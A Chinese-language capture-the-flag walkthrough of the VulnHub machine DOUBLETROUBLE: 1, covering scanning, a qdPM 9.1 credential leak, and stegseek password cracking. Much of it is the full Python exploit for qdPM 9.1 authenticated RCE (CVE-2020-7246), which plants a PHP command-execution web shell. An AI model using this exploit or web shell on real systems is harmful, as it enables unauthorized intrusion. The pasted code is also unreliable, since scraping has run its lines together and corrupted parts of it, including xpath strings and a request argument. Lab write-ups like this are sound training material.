vulnhub靶場之DOUBLETROUBLE: 1

【vulnhub靶場之DOUBLETROUBLE: 1】準備:
攻擊機:虛擬機kali、本機win10 。
靶機:DOUBLETROUBLE: 1,網段地址我這里設置的橋接,所以與本機電腦在同一網段 , 下載地址:https://download.vulnhub.com/doubletrouble/doubletrouble.ova,下載后直接vbox打開即可 。
知識點:stegseek的安裝和使用、qdpm9.1l后門漏洞、nc文件傳輸、shell反彈、wak提權、臟牛提權(CVE-2016-5195)、sql延時注入、sqlmap使用 。

vulnhub靶場之DOUBLETROUBLE: 1

文章插圖
信息收集:
通過nmap掃描下網段內的存活主機地址 , 確定下靶機的地址:nmap -sn 192.168.4.0/24,獲得靶機地址:192.168.4.195
vulnhub靶場之DOUBLETROUBLE: 1

文章插圖
掃描下端口對應的服務:nmap -T4 -sV -p- -A 192.168.4.195,顯示開放了22、80端口,開放了ssh服務、web服務 。
vulnhub靶場之DOUBLETROUBLE: 1

文章插圖
使用dirmap進行目錄掃描 , 獲得一些目錄進行,進行訪問測試,最后發現secert存在一張圖片 。
vulnhub靶場之DOUBLETROUBLE: 1

文章插圖
qdPM 9.1未授權漏洞:
訪問下80端口,發現是一個登錄界面,顯示了所使用的框架信息:qdpm 9.1,但是之前遇到過一個qdpm9.2漏洞,發現這里也是存在的 。
vulnhub靶場之DOUBLETROUBLE: 1

文章插圖
在網站:https://www.exploit-db.com/搜索下qdpm9.1是否存在可利用的exp , 發現存在未授權訪問漏洞,我們可以直接讀取/core/config/databases.yml文件,嘗試讀取下文件信息,獲取到數據庫賬戶名和密碼:otis/"<?php echo urlencode('rush') ; ?>",但是這個是未開啟數據庫服務的,應該是沒用的信息 , 先收集下再說 。
vulnhub靶場之DOUBLETROUBLE: 1

文章插圖
stegseek獲取圖片隱藏信息:
根據dirmap掃描出來的目錄信息進行訪問測試,發現在/secret目錄下存在一張圖片,下載下來保存,圖片顯示有otis(上面提到的用戶名)、rush(密碼中的參數)等信息 。
vulnhub靶場之DOUBLETROUBLE: 1

文章插圖
vulnhub靶場之DOUBLETROUBLE: 1

文章插圖
使用steghide獲取文件隱藏信息:steghide info doubletrouble.jpg , 發現是存在隱藏信息的,但是缺少密碼無法獲取出來,那就嘗試下使用隱寫爆破工具:stegseek 。
vulnhub靶場之DOUBLETROUBLE: 1

文章插圖
stegseek在kali中需要自己安裝,在這個網站:https://github.com/RickdeJager/stegseek/releases下載stegseek_0.6-1.deb,使用:sudo dpkg -i stegseek_0.6-1.deb進行安裝 , 安裝成功后使用字典進行爆破獲得密碼和文件名以及登錄賬戶和密碼:otisrush@localhost.com/otis666,命令:stegseek --crack doubletrouble.jpg /usr/share/wordlists/rockyou.txt upfine.txt 。
vulnhub靶場之DOUBLETROUBLE: 1

文章插圖

vulnhub靶場之DOUBLETROUBLE: 1

文章插圖
qdpm9.1l后門漏洞:
獲得系統登陸的賬號和密碼:otisrush@localhost.com/otis666后使用qdpm9.1的后門漏洞,同樣是在網站:https://www.exploit-db.com/搜索下qdpm9.1是否存在可利用的exp 。
vulnhub靶場之DOUBLETROUBLE: 1

文章插圖
下載下來exp文件:50175.py(這里我使用的第二個,格式不對需要自己修改 , 修改后的源碼見下),然后輸入參數執行,命令:python 50175.py -url http://192.168.4.195/ -p otis666 -u otisrush@localhost.com,返回一個后門連接,訪問該目錄會顯示一個文件:542451-backdoor.php 。
vulnhub靶場之DOUBLETROUBLE: 1

文章插圖

vulnhub靶場之DOUBLETROUBLE: 1

文章插圖
qdpm9.1l后門漏洞利用源碼 # Exploit Title: qdPM 9.1 - Remote Code Execution (RCE) (Authenticated)# Google Dork: intitle:qdPM 9.1. Copyright2020 qdpm.net# Date: 2021-08-03# Original Exploit Author: Rishal Dwivedi (Loginsoft)# Original ExploitDB ID: 47954# Exploit Author: Leon Trappett (thepcn3rd)# Vendor Homepage: http://qdpm.net/# Software Link: http://qdpm.net/download-qdpm-free-project-management# Version: <=1.9.1# Tested on: Ubuntu Server 20.04 (Python 3.9.2)# CVE : CVE-2020-7246# Exploit written in Python 3.9.2# Tested Environment - Ubuntu Server 20.04 LTS# Path Traversal + Remote Code Execution#!/usr/bin/python3import sysimport requestsfrom lxml import htmlfrom argparse import ArgumentParsersession_requests = requests.session()def multifrm(userid, username, csrftoken_, EMAIL, HOSTNAME, uservar):request_1 = {'sf_method': (None, 'put'),'users[id]': (None, userid[-1]),'users[photo_preview]': (None, uservar),'users[_csrf_token]': (None, csrftoken_[-1]),'users[name]': (None, username[-1]),'users[new_password]': (None, ''),'users[email]': (None, EMAIL),'extra_fields[9]': (None, ''),'users[remove_photo]': (None, '1'),}return request_1def req(userid, username, csrftoken_, EMAIL, HOSTNAME):request_1 = multifrm(userid, username, csrftoken_, EMAIL, HOSTNAME,'.htaccess')new = session_requests.post(HOSTNAME + 'index.php/myAccount/update',files=request_1)request_2 = multifrm(userid, username, csrftoken_, EMAIL, HOSTNAME,'../.htaccess')new1 = session_requests.post(HOSTNAME + 'index.php/myAccount/update',files=request_2)request_3 = {'sf_method': (None, 'put'),'users[id]': (None, userid[-1]),'users[photo_preview]': (None, ''),'users[_csrf_token]': (None, csrftoken_[-1]),'users[name]': (None, username[-1]),'users[new_password]': (None, ''),'users[email]': (None, EMAIL),'extra_fields[9]': (None, ''),'users[photo]': ('backdoor.php','<?php if(isset($_REQUEST[\'cmd\'])){ echo"<pre>"; $cmd = ($_REQUEST[\'cmd\']); system($cmd); echo "</pre>"; die; }?>', 'application/octet-stream')}upload_req = session_requests.post(HOSTNAME +'index.php/myAccount/update', files=request_3)def main(HOSTNAME, EMAIL, PASSWORD):url = HOSTNAME + '/index.php/login'result = session_requests.get(url)#print(result.text)login_tree = html.fromstring(result.text)authenticity_token =list(set(login_tree.xpath("http://input[@name='login[_csrf_token]']/@value")))[0]payload = {'login[email]': EMAIL, 'login[password]': PASSWORD,'login[_csrf_token]': authenticity_token}result = session_requests.post(HOSTNAME + '/index.php/login',data=https://www.huyubaike.com/biancheng/payload, headers=dict(referer=HOSTNAME +'/index.php/login'))# The designated admin account does not have a myAccount pageaccount_page = session_requests.get(HOSTNAME + 'index.php/myAccount')account_tree = html.fromstring(account_page.content)userid = account_tree.xpath("http://input[@name='users[id]']/@value")username = account_tree.xpath("http://input[@name='users[name]']/@value")csrftoken_ =account_tree.xpath("http://input[@name='users[_csrf_token]']/@value")req(userid, username, csrftoken_, EMAIL, HOSTNAME)get_file = session_requests.get(HOSTNAME + 'index.php/myAccount')final_tree = html.fromstring(get_file.content)backdoor =final_tree.xpath("http://input[@name='users[photo_preview]']/@value")print('Backdoor uploaded at - > ' + HOSTNAME + '/uploads/users/' +backdoor[-1] + '?cmd=whoami')if __name__ == '__main__':print("You are not able to use the designated admin account because they do not have a myAccount page.\n")parser = ArgumentParser(description='qdmp - Path traversal + RCE Exploit')parser.add_argument('-url', '--host', dest='hostname', help='Project URL')parser.add_argument('-u', '--email', dest='email', help='User email(Any privilege account)')parser.add_argument('-p', '--password', dest='password', help='User password')args = parser.parse_args()# Added detection if the arguments are passed and populated, if not display the argumentsif(len(sys.argv) > 1 and isinstance(args.hostname, str) and isinstance(args.email, str) and isinstance(args.password, str)):main(args.hostname, args.email, args.password)else:parser.print_help()

推薦閱讀